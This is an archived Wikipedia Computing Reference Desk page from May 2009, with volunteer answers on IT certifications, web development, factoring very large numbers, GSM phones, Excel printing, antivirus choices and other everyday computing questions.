Service desk specalists? Certification.

Do people who hire service desk specialists tend to look for certain types of certification or degrees, or is it just a matter of past experience? If one doesn't have professional experience in that kind of job but already has the computer skills self-taught, how can they easily prove it to potential employers?--Sonjaaa (talk) 15:58, 15 May 2009 (UTC)

This is an interesting question. Since it was placed on the Computer desk i will assume that this relates to computers. When looking to hire someone, Experience is Key. Some of the worlds greatest hackers where self taught without any (or very few) Degrees/Certs/ect... For example: Captain Crunch. It also depends on the person. Someone could have 5 PH/ds in Computer Science and would not beable to stand to soemone who has only an A+ with 50+- years experience, and a passion for computer. It all really depends on the person. I really hoped this helps. Please dont just listen to what i have to say, wait for other to voice their opnions. Thank you. – Elliott(Talk|Cont)  17:12, 15 May 2009 (UTC)

I could consider getting A+ certification...--Sonjaaa (talk) 18:04, 15 May 2009 (UTC)

A+ is considered a requirement for many organizations. Also, getting your MCP (Microsoft Certified Professional) is very handy to put on the resume. You get it if you pass any of the certification tests from Microsoft. Also, consider the Microsoft Certified IT Professional. If you really love studying and/or like self flagellation you can work on your MCSE. ---J.S (T/C/WRE) 18:28, 15 May 2009 (UTC)

Is MCP the prereq to getting MCDST? Or what's the relationship between the two? Does MCSE replace MCP? Or is MCTS the new MCP? MCSA seems more reasonable for my needs than MCSE. So confusing. --Sonjaaa (talk) 18:47, 15 May 2009 (UTC)

You get the MCP upon passing any of the Microsoft tests. The MCDST would be "better" then the MCP since it's requirements are higher. The testing to get the MCSA and the MCSE are very similar and some of the test overlap. ---J.S (T/C/WRE) 21:11, 15 May 2009 (UTC)

Should I stop learning on my own if I don't want to repeat it all in order to get qualifications in school?

Because apparently even an automath who theoretically knows everything would still need to go through formal education if they want a career. 94.197.175.208 (talk) 19:28, 15 May 2009 (UTC)

This is like an advice question you should ask in a place like Slashdot rather than here on the Reference Desk, but I'll answer anyway: Obviously you should keep learning on your own, wherever your passion takes you. This is on the Computing desk, so I'll assume you're interested in coding — the best coders are coders who code for fun and as a hobby, and most of these people self-directed their programming education. Tempshill (talk) 21:59, 15 May 2009 (UTC)

And you learn better the second time you learn something. The things I actually consider myself exceptionally good at are things that I have now "learned" two, three times—things I learned once a decade ago, had to re-learn as part of some other function, maybe learn again to teach it or explain it to someone new. These are the things I really grok, as the geeks say. There is nothing wasted in redundancy when it comes to education—each time you learn something, you see more to it, you understand it on a deeper level. One is at a tremendous advantage if one is not always learning things for the first time. --98.217.14.211 (talk) 03:30, 16 May 2009 (UTC)

Having gone through some of this with my son, I know it can be frustrating. All I can suggest is to try to find a school that lets you "test out" of doing a class. This isn't always possible - but in some cases it's possible to take the end-of-course test at the start of the course - and if you pass it to some pre-specified standard, you can skip the course. In my son's case, this didn't earn him credit hours - but did absolve him of doing that course as a prerequisite for doing something more interesting. It's well worth investigating. SteveBaker (talk) 04:05, 16 May 2009 (UTC)

The answer is, of course, "No." You should not stop learning things in the hope that on some future date someone will teach those things to you.

I agree with Steve, once you get to college, the curriculum can often be changed to meet your needs if you talk to the right people.(Department heads, Deans, Professors of classes you want to get into. Don't bother arguing with the registrar.)

For what it's worth, I've worked with a very good computer programmer who did not have a college degree. So it's not impossible. You absolutely can make a career out of being self taught.

On the other hand, I've also met (But thankfully not worked with) people who are "Self taught" but have peculiar gaps in their knowledge that they don't even realize they have. APL (talk) 16:21, 16 May 2009 (UTC)

Even in some high schools, you can 'test out' of courses that are not legally mandated. You can get a job as a computer programmer without a degree if you have a strong resume and can show tons of relevent experience - but it's very very hard to get your first job with no experience and no degree. In the companies I've worked, your resume would probably be tossed out on sight by Human Resources before anyone ever got to see it. You'll end up working in some fairly low paid, miserable job for quite a few years before you can talk your way into something better - you're better off going to college instead - even if you hate it, you can get done quickly and avoid decades of much more miserable jobs. SteveBaker (talk) 16:46, 16 May 2009 (UTC)

A true worldwide mobile phone

File:GSM World Coverage 2008.png

GSM world coverage as of 2008

Do any mobile phones currently work in the US, Japan, Korea and everywhere else? I know you can get quad-band phones that support both worldwide and American GSM frequencies, but do any also work with the Japanese or Korean networks? Or is it still just satellite phones or nothing? 86.162.195.195 (talk) 19:30, 15 May 2009 (UTC)

The GSM article includes the picture found at right (click on it for a larger version), which suggests that you'd do fine with a (possibly advanced) GSM phone in Korea (the good Korea, that is) and Japan. Lots of white spots elsewhere, though. Jørgen (talk) 23:13, 15 May 2009 (UTC)

Thanks! (I'm the OP; sorry about the vandal(s)!) Does that mean Japan and Korea (the one strong in the Force, that is :) now use GSM compatible networks? Do they only work in 3G? That seems to be what Quad-band says, but it's not very clearly expressed. 86.162.195.195 (talk) 13:29, 17 May 2009 (UTC)

The map above is out of date for Kazakstan, btw. I went there in 2007 with a Euro GSM phone (900/1800mhz) and I don't remember ever losing a signal, even picking mushrooms in a forest 100km out in the steppe! 86.162.195.195 (talk) 13:29, 17 May 2009 (UTC)

HTML scraper and PostgreSQL interface

What Linux-based platforms exist that can interface with both the web and PostgreSQL and could implement an HTML scraper that copies its output to a database? (Ideal would be one that has low-level HTML processing built in.) NeonMerlin 20:16, 15 May 2009 (UTC)

A custom PHP script on a LAMP server could do what your talking about. There might be cleaner/easier solutions out there. ---J.S (T/C/WRE) 21:13, 15 May 2009 (UTC)

If you are going to be using PHP, the Snoopy class is pretty great for the HTML scraping end of things. --98.217.14.211 (talk) 03:46, 16 May 2009 (UTC)

May 16

HTML/iPod Notes queries

For an assignment for university I am required to use the notes function on an iPod Classic, which utilises HTML language. We've been given a few pointers, but I'd like to use some other HTML or iPod language, whatever meta it uses. Is there a function for exceptions to 'now playing=false', and are videos affected by it? Secondly, is there a way to have a song start playing upon entering a note, or somehow make a song play at the same time as linking to a note? Avnas Ishtaroth _{drop me a line} 10:45, 16 May 2009 (UTC)

Finding progress of for loop in Delphi application

I am using a Delphi application (written by me) to create a big fractal. The application has no GUI but runs in the background, and can run for weeks (paused only when the computer is hibernating). Now, because there is no GUI, I do not know how far the work has progressed, but because almost all the code is inside a for loop (for i := 0 to N do) I could easily create a breakpoint somewhere in the loop, inspect the variables and then use the value i/N as the current progress. The only problem is that I cannot access the for loop variable i, because it is "inaccessible here due to optimization". Before I use the applicatin next time, I will create a GUI so that I can read the progress, but is there any way I can read the progress of the current instance of the application, without terminating it and thus losing all data? --Andreas Rejbrand (talk) 18:20, 16 May 2009 (UTC)

Online Voting Script

How would I write a script to vote in the MLB All-Star Game Ballot online? I would want to go to http://www.guerrillamail.com/, get an email address (I could do that manually if it would be a lot easier), and then vote for all of the Toronto players here. RefDeskAnon (talk) 18:27, 16 May 2009 (UTC)

Note: I just realized that it saves my votes from before, which makes it a lot easier. Plus there is a CAPCHTA. RefDeskAnon (talk) 18:29, 16 May 2009 (UTC)

I can think of a few ways for autoclick voting, but entering info into boxes, CAPCHTA and other stuff that will change on each vote would require mega programming, I mean an entire program dedicated to the task —Preceding unsigned comment added by 82.44.54.169 (talk) 19:09, 16 May 2009 (UTC)

Would Autoit be any use? 78.146.103.200 (talk) 15:42, 17 May 2009 (UTC)

Partially prime factorising very large numbers

I am looking for a way to find prime factors of a 1 million digit (random) number. I know getting a complete factorisation of such a large number is impractical, but I'm actually just trying to find one prime factor that is repeated (and isn't too small, say 5-10 digits minimum, I haven't really worked out how big it needs to be). Is there an efficient way of doing this on my PC? While I would like something rather more efficient than just dividing it by lots of primes and seeing what works, my first problem is that I simply don't know a programming language that can handle such a large number - can anyone recommend one? --Tango (talk) 18:30, 16 May 2009 (UTC)

Any programming language that has a Bignum library (either built in or added) can do this - see Bignum#Libraries and Bignum#Languages (although at a million digits performance will probably suck for most or all). You might be better off using an existing integer factorization library rather than rolling your own (what you describe is essentially Sieve of Eratosthenes). 87.115.168.96 (talk) 18:54, 16 May 2009 (UTC)

Thanks for the advice regarding bignum. I am looking for something better than a simple sieve if possible, and recommendations for algorithms optimised for small factors of large numbers? --Tango (talk) 19:33, 16 May 2009 (UTC)

I don't know what you want it for but there are existing complete programs for this. PrimeForm can trial factor (and make a probable prime test if you want that). Note that the 20041023 development version of PrimeForm in the files area of [6] is far faster for trial factoring numbers of this size (based on TreeSieve trial factoring code by me). GMP-ECM has fast implementations of 3 other factorization algorithms for smallish factors of large numbers. I don't know the memory requirements at a million digits. You can also see our articles on Integer factorization but implementing something with an acceptable performance at this size can be challenging. If you tell us your end goal then we may be able to give better advice. PrimeHunter (talk) 22:28, 16 May 2009 (UTC)

My goal is to find a repeated prime factor (ie. a prime such that the number is divisible by the prime squared), although I'm not interested in very small ones (I can easy tell if it is divisible by 4, for example, but that isn't useful to me). Well, strictly speaking, I don't need it to be prime, but any square factor will involve repeated primes, so it is probably easiest to just look for primes. I'm hoping to use it as a way to compress a random number (which should be impossible, but I'm wondering if there might be a flaw in the RNG that can be exploited - it is very close to random in terms of digit sequences, but I'm not sure that guarantees randomness in terms of prime factors). --Tango (talk) 00:30, 17 May 2009 (UTC)

I don't know whether you have special rules for which operations are allowed in the compressed version and how the size is defined, but it sounds like a computationally expensive way to try something unlikely to compress on average for an RNG. If you have a single specific number and don't care about average compression then you might get lucky on that number, but you could also get lucky with many other potential compression algorithms that are easier to try. PrimeHunter (talk) 01:09, 17 May 2009 (UTC)

My idea is that you can write the number as $X^{2}\cdot Y$, which will have size proportional to $\log X+\log Y$ plus a little overhead, which (if X is large enough) will be less than the size of the original number (which is about $2\log X+\log Y$). When I originally asked the question I was under the impression that it was very likely that there would be a repeated prime in there somewhere, but I have since looked that up and the odds are only about 40%, and there is a good chance that, even if it does exist, it is too large to be practical to find it. So, this isn't a particularly good method after all, but if it can be done efficiently it is worth a shot to see if I get lucky with the number in question. If it is going to take days or longer to compute, though, it's probably not worth the bother. --Tango (talk) 01:22, 17 May 2009 (UTC)

Your about 40% is right. The exact value is 1 - 6/π² = 0.392... If you want a prime with at least 4 digits then that drops to around 0.00013, and to 0.0000098 for 5 digits, and 0.00000080 for 6. I justed tested PrimeForm and factoring only worked to around 828000 digits on my PC with the tested version. But if you get trial factoring working at your size then you can easily factor to a size where the chance of missing a square is extremely small. PrimeHunter (talk) 10:08, 17 May 2009 (UTC)

It drops to that low if you exclude really small primes? I didn't realise the drop was so dramatic. I think I'll give up now, then! Thanks for your help. --Tango (talk) 14:34, 17 May 2009 (UTC)

Want to display an image somewhere on the web

I have a photo that I want to put on the internet for a few weeks so that other people can see it, and that I can provide a link to. Where would be the best place to do this with the least hassle please? 78.146.17.231 (talk) 22:57, 16 May 2009 (UTC)

Imageshack.us is the first to come to mind. Seriously, Google is always your friend: G free picture host Washii (talk) 23:56, 16 May 2009 (UTC)

Photobucket is another. Tempshill (talk) 03:20, 17 May 2009 (UTC)

What are most suitable languages to learn for website development?

The only language I am fluent in is gwbasic. Suppose I wanted to make a website about for example collective intelligence, where people made predictions about eg the future values of various stocks and shares, these predictions were averaged, and then later in time compared to the reality. Rather complicated to do, I know. But what would be the languages I should learn if I wanted to create something like this? Or could I get some webpage creation software to do a lot of the work for me? 78.146.17.231 (talk) 23:05, 16 May 2009 (UTC)

If all you're interested in is the display of static content, HTML will likely suffice, although these days also knowing CSS is a benefit. There are a number of specialized HTML editors available - heck, even office programs like Microsoft Word can save files as HTML these days. If you want to have interactivity, though, (like doing a computation based on user-provided input) you probably want to learn Javascript. If you want to get really fancy (like browser games), you'll probably want to look into Java (which is completely different from Javascript) or platforms like Adobe Flash or Microsoft Silverlight. -- 76.201.155.7 (talk) 00:12, 17 May 2009 (UTC)

I'd say that learning CSS is a must. Without it, your sites will either be hideous as normally viewed or else agonizing to update. Oh, and office programs like MS Word can indeed save files as a kind of sick parody of HTML, but I wouldn't bother. -- Hoary (talk) 08:39, 17 May 2009 (UTC)

Start with HTML and then learn PHP. Tempshill (talk) 03:21, 17 May 2009 (UTC)

You'll need to learn PHP. Webpage creation software wouldn't help you here. F (talk) 04:28, 17 May 2009 (UTC)

Yes, start with HTML, but before you get too far, take a look at XHTML, which imposes some different formatting rules. CSS and JavaScript are essentials that you will also need to become familiar with. Next you come to a fork in the road. You can take either the Microsoft path and learn ASP.NET, C# and Microsoft SQL Server, or you can take the open source path and learn Apache, PHP, and MySQL. The choice depends on the market. Many modest web sites as well as many of the most visited sites on the web (such as Wikipedia) use Apache/PHP/MySQL architecture, often running on a GNU/Linux machine. Many businesses across the spectrum operate essentially as Microsoft-only shops with the ASP.NET/C#/SQL-Server architecture. Oracle is also a major player for the database component. Good luck. -- Tcncv (talk) 04:54, 17 May 2009 (UTC)

Thanks. If I spent say three hours a day five days a week learning HTML, XHTML, CSS, Javascript, Apache, PHP, and MySQL, how long would it take until I was good enough to crerate a decent website, even though I had to keep looking things up? 78.146.103.200 (talk) 17:40, 17 May 2009 (UTC)

That depends on how quick a learner you are! You have some programming experience, so I would expect you can you learn basic (X)HTML and CSS within a few hours. There isn't a great deal to learn with Apache, you just have to get it installed and set up, that might take a couple of hours if it decides to misbehave, but shouldn't take longer (that includes installing PhP and MySQL, they need to be set up together). You can learn basic SQL within a couple of hours, I expect, if you don't mind having to look up syntax and keywords quite often. Learning PHP is the probably the hardest part. Learning your second programming language is generally easier than learning your first, but still takes some time. It's difficult to say how long - it depends on you and on what you want to be able to do with it. --Tango (talk) 23:10, 17 May 2009 (UTC)

Step One: Learn HTML - it's easy - you can get basic, static web pages up and running.

Step Two: Learn CSS - it's a simple extension to HTML - but you'll need it later.

Step Three: Learn PHP - in essence, PHP is a programming language that runs on the web server that can alter the HTML/CSS that's output to your users.

Step Four: Learn JavaScript - it also allows the kinds of things that PHP does - but it runs in the client's web browser.

SteveBaker (talk) 21:16, 17 May 2009 (UTC)

Maybe you already know this, but what you want goes beyond what you can do with the typical free account that comes with the broadband internet service intended for home use. Although you can include Java or Javascript in web pages for such accounts, it executes on the client, not the server. Thus, there is no way to collect and organize information from visitors. (Some home-oriented ISPs let you include a guest book, but that is very restricted.) --Jc3s5h (talk) 03:27, 18 May 2009 (UTC)

May 17

Who would win in a fight generator

I'm looking for a program or something that (without any programming on my part) would predict the outcome of a fight between video game characters and other fictional creatures (I.E. Link vs. a Vampire). Me and my girlfriend are at a stalemate and would love to just know the outcome and figure SOME ONE had to have done this. Rgoodermote  00:49, 17 May 2009 (UTC)

How do you expect a computer program to do that? The question isn't well defined. You would need to have information on their fighting capabilities in a way that can be compared - that information doesn't exist for characters that exist in different fictional universes. In most cases, it won't even exist for characters in the same fictional universe. --Tango (talk) 01:26, 17 May 2009 (UTC)

I expect some one to have already done it for me. Probably in Javascript or PHP. Rgoodermote  01:29, 17 May 2009 (UTC)

But how? It's impossible. The information needed to compute the result doesn't exist. --Tango (talk) 01:33, 17 May 2009 (UTC)

Not a gamer? The stats exist. Open up a game guide and they have em right there. As for the stats of a vampire, those exist as well. Rgoodermote  01:39, 17 May 2009 (UTC)

The stats only exist in a way that allows for comparison between characters in the same game (you may be able to compare height and weight, but not skill and certainly not any special powers). And what stats are there for a vampire? You need to be more precise about what you mean, do you want Dracula? A D&D vampire? A typical Buffyverse vampire? Only D&D has any real stats and, again, they are only useful for fights against other D&D characters. --Tango (talk) 01:45, 17 May 2009 (UTC)

They have specials in em. Plus, if that isn't enough. There are enough fan sites to make the hunt easy. As for vampire...the essential..which is Dracula. Rgoodermote  01:49, 17 May 2009 (UTC)

Yes, there are stats for the specials, but not in a comparable format. You can't compare "4/10" in one game with "5/10" in another since they are completely difference scales and there is no meaningful conversion factor. I've read Dracula, there were no stats in it. You would have to base it on stats that someone other than the author has made up, so it isn't really Dracula. --Tango (talk) 01:56, 17 May 2009 (UTC)

The question and attitude indicate a probable troll. Tempshill (talk) 03:22, 17 May 2009 (UTC)

Gentlemen, the answer is obvious. The vampire would defeat Link. You don't need a computer to tell you this. Although, you can set up Smash Brothers to play by itself, matching AI characters against each other. We even have the complete list of possible match-ups. This may be the closest that modern technology can deliver. Nimur (talk) 02:20, 17 May 2009 (UTC)

Obvious? I think not. The Light Arrows from Zelda would be a formidable weapon against a vampire, since you've basically got sunlight and a stake through the heart all in one blow. Even in the Zelda universe, the Light and Silver Arrows are supposed to be able to stop or kill immortals, so there you go. Link's definitely got a fighting chance. Indeterminate (talk) 07:33, 17 May 2009 (UTC)

The Internet never sleeps. Anyway, this goes to Link, no contest. He has a huge bag of tricks (let's not forget the Stone Mask), while vampires have, what, fangs and charm? And they can turn into bats? Link eats bats for breakfast. As if that weren't enough, if Link did die he would just restart the area with three hearts. Eventually the vampire is going down. -- BenRG (talk) 23:08, 17 May 2009 (UTC)

Fight generators are for pussies. Throw them all into a Blendtec, press the button; and at the end all you'll have will be Chuck Norris and bad guy smoke. RESOLVED -- Hoary (talk) 08:47, 17 May 2009 (UTC)

This video answers any questions you might have on the subject. No Javascript needed. --98.217.14.211 (talk) 14:12, 17 May 2009 (UTC)

There's no way you could make a computer program that does this in any useful way. You're probably thinking of all the hit-point stats available on the internet, but it doesn't work. How do we know the hit points are compatible? If I base a game on a hitpoint scale of 1 to 10,000 then all my characters will slaughter characters from a game that runs from 0.0 to 1.0!

The more fundamental problem is the incompatibility of the "universes" the fictional characters come from. In a Zelda game, Link is virtually indestructible as long as he is holding up his shield. Does this mean that Master Chief doesn't have any weapons that could punch through Link's medieval shield? Even if Master Chief's weapons can't pierce the shield, can he use a sniper rifle to shoot Link's head? (It's never fully behind the shield in the animation of Zelda games.) Even assuming that Link survives Master Chief's attack and launches a counter attack, does the Master Sword effect MC? Zelda fan's will say "yes" because it's magical and can kill anything. Halo fans will say "no" because it's preposterous that the MC's armor is vulnerable to such ancient weapons wielded by such a small person.

There's no way a computer program could decide this sort of stuff on its own. If a program like this exists, it's only because someone has put in his opinion for all the variables. APL (talk) 16:03, 18 May 2009 (UTC)

http://www.googlefight.com/ </thread> CaptainVindaloo ^{t c e} 16:18, 18 May 2009 (UTC)

Using Google

I think there are ways I can improve my google searches by using speech marks and plus signs and other stuff, but I can't find a page to teach me these things. Any help?91.109.232.157 (talk) 08:45, 17 May 2009 (UTC)

Google search basics: More search help (it's linked on the "Advanced Search" page). --dapete 08:58, 17 May 2009 (UTC)

This cheat sheet (http://www.google.com/help/cheatsheet.html) is also very useful, I use it myself. ny156uk (talk) 12:46, 17 May 2009 (UTC)

Inkscape banknote tutorial

Hi, guys. I'm interested in finding the full version of this tutorial, but it appears it costs! Does anyone know of a free version, alternative (or does anyone have it and is willing to email it...)? Thanks! ╟─TreasuryTag►contribs─╢ 09:13, 17 May 2009 (UTC)

They are called spirograph images colloquially. Google "Inkscape spirograph" or "Illustrator spirograph" and you can find lots of different ways to make them (like this one or this one for Illustrator, but I suspect Inkscape can do similar things). --98.217.14.211 (talk) 14:17, 17 May 2009 (UTC)

May 18

Printing separate/different files

So at work, I have to print the same two worksheets every day. They are Microsoft Excel files and one is read-only while the other is not, so I can't combine the two files or anything. I always gotta print them on two separate sheets of paper. Any one know if it's possbible to print two separate files onto one page? TravisAF (talk) 02:24, 18 May 2009 (UTC)

If the other file is not read-only, can't you copy and paste the content of the first page into that file? Nimur (talk) 02:47, 18 May 2009 (UTC)

They're heavily modified files with all sorts of tables and borders and etc. Everytime I try copy and pasting, it distorts everything in both files. TravisAF (talk) 03:18, 18 May 2009 (UTC)

Don't copy and paste. Use Paste, Special and choose the options for pasting Formatting and Values. Your borders etc will transfer correctly, and any formulas on the page will be transcribed into the current value, not pasted as the formula (which of course would refer to different cells in the new location).

If that fails, mark the print area in Page One, and reduce the scale if necessary, to make it fit half a sheet of paper. This will be the top half of your print-out. Page Two set up with half a page of blank cells above it,included in the Print Area. Feed the used paper back into the printer, and Page Two will print below the Page One material. To avoid the Page Two spacer over-writing the Page One stuff with gridlines, turn off gridlines in Printing Setup. If you need gridlines showing between the tables, set the thinnest black or grey border around those cells.KoolerStill (talk) 11:14, 18 May 2009 (UTC)

Or get yourself a PDF printer like PDFCreator, print both files to the same PDF (which will then be 2 pages), then print the PDF with a "2-up" setting that prints two pages on the same sheet of paper. I'm no guru at scripting, but I'd make a VBA script that opens one Excel file, prints it to PDF, closes it, opens the other, prints to PDF, closes it. Then I'd hope that my pdf print software supported command line, and make a .bat file that first combines the two PDF files into one, then prints them. That makes for 2 clicks each day (first VBA script, then bat file) but still quite automated. You could rescale the Excel files so that they look neat when they occupy half a sheet of paper each (possibly scaling up font sizes, etc). Jørgen (talk) 13:39, 18 May 2009 (UTC)

Or copy the area you want to print from each spreadsheet and paste them as pictures into a Word document. Enhanced metafile format works well in my experience - it produces readable images over a generous range of re-sizing. Gandalf61 (talk) 15:02, 18 May 2009 (UTC)

Is the objective to print both on one sheet to save paper, or to print one spreadsheet on top of the other (like a printed form), or to simply reduce the clicks needed?

To print both with one click, select both in Windows Explorer then right-click and pick "Print". Excel will open twice and each will be printed in turn. To print one on top of the other, put the first printed sheet back into the paper tray. To save paper, turn the paper over before putting it back in the paper tray. If you want either of these last two to be done with no manual intervention, you will need to look at the many suggestions provided by the others above. Astronaut (talk) 18:12, 18 May 2009 (UTC)

Website causing internet to appear to disconnect

Whenever I visit xtube.com (so far the only site that causes this problem), my internet connection appears to completely drop. I get logged out of my messenger programs, downloads cease, and I can't open any new webpages for roughly a minute after I try to load that site. But internet only stops on my computer, and not the others on the network. I stopped going there several months ago when this started happening, but I just got the urge to visit it again and the problem still occurs. Other people I have asked don't have any problems. Anyone know why this would happen? 74.230.240.144 (talk) 03:04, 18 May 2009 (UTC)

That type of video site used to, in dial-up days, disconnect you and switch you to a premium rate service, which you'd find out about on your next phone bill. Now this doesn't apply, there may be associated viruses hogging your bandwidth to send data back to their home base. Or it could be redirecting you for fake clicks on numerous pay-by-click sites. How does you machine stack up (OS, RAM) with those that don't get the problem? Do a virus and spyware check on your machine before you use the site again.KoolerStill (talk) 10:31, 18 May 2009 (UTC)

Good gaming mouse that work on glass?

What is a good gaming mouse that will work on a glass surface (smooth top and frosted underside)? I have a glass desktop and have been thinking of getting a new mouse. I've tried one of the Logitech G-series (forgot which) which didn't work, and I'm quite clueless on gaming mice in general; so any help would be appreciated. Wireless would be a plus (less of a mess on my desk) but not essential. --antilived^{T | C | G} 04:05, 18 May 2009 (UTC)

A laser mouse like a Logitech G5 might work but you should just save the bother and get yourself a mousemat. The problem is all gaming mice now use LED or lasers to read movement, and they don't work well on seethrough or reflective surfaces, so a mousemat is your best option. 212.219.8.233 (talk) 09:04, 18 May 2009 (UTC)

Two questions in one

1. I'm switching my anti-virus software. I'm torn between G-Data, Avira, Kaspersky and Symantec. Which one would you recommend?
2. I'm also buying some new headphones. I've found a few selections to my liking and I would also like an opinion on these: 1, 2 and 3. I know these have customer reviews, which I've read, but last year I bought a pair of $50 Sony headphones that went out on me after only a few months, so this time I don't want to get screwed over again. Whip it! ^{Now whip it good!} 05:22, 18 May 2009 (UTC)

"The reference desk does not answer requests for opinions" TravisAF (talk) 05:45, 18 May 2009 (UTC)

"Or predictions about future events. Do not start a debate; please seek an internet forum instead." The "no request for opinions" has mainly to do with polarizing questions that are completely subjective, to which no factual answers can be given. Asking for an opinion on the quality of a product is an entirely different story. Whip it! ^{Now whip it good!} 06:20, 18 May 2009 (UTC)

Of the anti-virus products you list, I only have experience with Symantec, which I found to be a resource hog and difficult to remove from my machine once I had decided in favour of other anti-virus software.

I now use Bit-defender, which is far from perfect (among other things the firewall conflicts with my network card), but my machine is more responsive than before I switched. --ChrisSteinbach (talk) —Preceding undated comment added 06:50, 18 May 2009 (UTC).

(ec) And it's not legal or medical advice being sought. Anyway; Whipit - I can't offer any suggestions on the headphones, but I'll take a stab at the AV one. Looking over the Feb. 09 results at .av-comparatives.org I'd probably opt for the Kaspersky (of the ones you've mentioned). I see that G-Data also rates very high, but I haven't tried it so I'm not familiar with it. I wasn't happy with Avira (just a personal observation, nothing wrong with the product), and Symantec is only now getting back up to the upper-ranks with its 2009 improvements. Kaspersky has been around, and a top-notch AV proggie for a while, and if I didn't have Nod32, I'd prolly be running it. Of course, the decision ultimately is yours; have a look at some of the reviews and comparatives - then just grab what you like best. ;) — Ched :  ?  06:59, 18 May 2009 (UTC)

Are you experienced with operating system internals? If you are, I would recommend that you use HIPS software instead of AV software (try the free COMODO Internet Security, which includes an AV as well as a firewall and HIPS). I personally can't stand the fact that AV software has to scan everything you try to use, which slows down your computer considerably. Most AV software is very bad at self-protection as well - see the Matousec leaktest results. --wj32 ^t/c 08:03, 18 May 2009 (UTC)

Exploiting Google Safesearch

Suppose, a program does a google image search with Safesearch on, and another search with the same query, but with safesearch off. Now it finds the intersection of the images found and subtracts them from the second set, and voila! You have your own porn search engine, thanks to Google! Can this really ever work ? And if it does, isn't it some sort of a concern? —Preceding unsigned comment added by 218.248.80.114 (talk) 10:49, 18 May 2009 (UTC)

What a lot of trouble to go to. Leave Safesearch off and just type p o r n (without the spaces). Optionally add 'online', 'free', 'images' or 'video'. Optionally be more specific. Click GO. That's it, your own porn search engine. KoolerStill (talk) 11:29, 18 May 2009 (UTC)

The exposure (no pun intended) is that you could potentially infer the exact requirements to fall into the 'safesearch filtered' category, and then possibly use that to keep your images showing up in all results. If that's any use to you. --66.195.232.121 (talk) 12:35, 18 May 2009 (UTC)

Presumably you tried this yourself, already. What occurred? Tempshill (talk) 15:38, 18 May 2009 (UTC)

Why would it be a concern? SafeSearch exists to keep material you might not want to see away from your eyes. It can generally be disabled with a few simple clicks of a button. Its purpose is not to make it impossible to view porn, but to make it more unlikely that you view porn by accident. -- Captain Disdain (talk) 18:56, 18 May 2009 (UTC)

MySQL table creation

Resolved

Is there an easy way to automatically generate the "CREATE TABLE ..." SQL command from an existing table? -- Toytoy (talk) 10:57, 18 May 2009 (UTC)

I got it!

SHOW CREATE TABLE tblname; -- Toytoy (talk) 11:03, 18 May 2009 (UTC)

LOL. Wonderful how putting a problem into writing helps point you in the right direction. Good luck with it.KoolerStill (talk) 11:28, 18 May 2009 (UTC)

An idle wondering...

Totally random question that I've been kinda curious about for a while now: what's the default size for the TTL on an IP packet sent from a personal computer (Windows, Linux or Mac)? It's an octet, so the max size is 256, right? Is it set to that? Is there any guidance from an RFC or something? 90.237.196.83 (talk) 12:03, 18 May 2009 (UTC)

128 seems pretty typical, but you are right that the max is 256. RFC 791 explains the function of the field but does not set an explicit starting value. --66.195.232.121 (talk) 12:32, 18 May 2009 (UTC)

I suppose it's rather inconcievable that you'd need to make more than 128 hops if everything was working like it should. Thanks! 90.237.196.83 (talk) 13:08, 18 May 2009 (UTC)

TTL is even more esoteric than that. It's actually intended to represent the number of hops or the number of seconds since creation (whichever is greater, basically a hop counts as no less than one second.) So the original intention was that a packet would be killed off after either 255 hops or 255 *seconds* spent being routed, whichever came first. Considering how long it's been since a packet (around 1400 bytes) could traverse the global network from one side of the planet to the other multiple times in one second, it just baffles my mind that at one point we thought to ourselves "so, how about giving the packet over 4 minutes to find it's way to the destination..."--66.195.232.121 (talk) 16:40, 18 May 2009 (UTC)

Store and forward over a congested overseas link, or from a spotty connection in the middle of nowhere, or over a satellite uplink, can add appreciable amounts of time. Granted, even then 4 minutes is probably a long time to wait for a connection, but a 15-30 seconds latency may not be unheard of. Once you've assigned a full byte for the purpose, there's no reason to arbitrarily limit the max value. -- 128.104.112.117 (talk) 18:32, 18 May 2009 (UTC)

Open-source alternatives

I am trying to find open-source programs for following tasks:

• simulate optical components
• simulate fluid flow
• speech recognition

Normally, I am quite satisfied with open-source alternatives and regard them usually as superior. There are just a couple of fields where I can't find an alternative.--Mr.K. (talk) 12:04, 18 May 2009 (UTC)

Have you see POV-Ray? It's an open-source ray tracing program. You really need to be more specific about what you are looking for - you have mentioned three huge fields, and there are certainly open-source programs in all of them - but what exactly is it that you're trying to do? Nimur (talk) 14:53, 18 May 2009 (UTC)

OK. I need speech recognition to dictate texts. The other two are only out of curiosity. I would like to know how different sets of lenses work and also how the aerodynamic of different virtual car/plane or whatever works.--Mr.K. (talk) 15:09, 18 May 2009 (UTC)

Have you looked at our article? Several open-source items are listed there for voice dictation and control. Nimur (talk) 15:33, 18 May 2009 (UTC)

(edit conflict) http://www.osalt.com/ seems to be a good website. – Elliott(Talk|Cont)  15:33, 18 May 2009 (UTC)

• Osalt is amazing. — Preceding unsigned comment added by Mr.K. (talk • contribs) 15:54, 18 May 2009 (UTC)

• There are some open-source programs for speech recognition, however, how realistic is it to use them in a office environment (that means, if you want to really work? — Preceding unsigned comment added by Mr.K. (talk • contribs) 15:54, 18 May 2009 (UTC)

I would assume that by "simulate optical components", Mr. K is looking for something like Zemax or CODE V, which you could use to (say) design a zoom lens for a camera and accurately predict its optical performance. POV-Ray isn't really suitable for that job... even if it knows something about refraction and reflection, it would be like using Adobe Illustrator instead of AutoCAD to design a jet engine. You could sorta, kinda, imagine doing it, but only as a painful exercise... -- Coneslayer (talk) 18:57, 18 May 2009 (UTC)

Change the default view for 'file open' dialogue box

When I am working I usually am interested in opening the most recently edited files which is easy if I need one of the files listed at the bottom of the "File" menu but otherwise a pain. I hit ctrl-O to get the dialogue box, change the view to "Details" from "List", then click twice on "Date Modified" to get the most recent files at the top. You can call me lazy if you like, but I hate going through the above every time I open a file.

I am running windows xp sp3 if that helps. mislih 18:02, 18 May 2009 (UTC)

Well, I hardly ever use the "Open" command anyway, I generally select the files by double-clicking on them (or dragging them into the application from) Explorer. All that tends to take is Alt-Tab to get me to the Explorer window, and with that one, I don't need to change the view settings every time I use it. -- Captain Disdain (talk) 18:53, 18 May 2009 (UTC)

Selling Old Computer - Value and best way to clean it up?

Hello all. I realize that Ref Desk is not the place to ask opinion-based questions, so I may be splitting hairs here...

I'm going to attempt to build a computer (my first build) and if all goes well, I plan on selling my old computer. Two questions: 1. what's it "worth" and 2. what's the best way to clean up the hard drive so someone does not recover/steal my personal info/files.

Machine: Dell Dimension 8400 purchased new in 2005. Works like a charm, not a thing wrong with it, I just want to try to build my own machine.

Comp Has:

• 3.0 GHz Pentium 4 with Hyper Threading Technology
• Windows XP Pro Media Center Edition
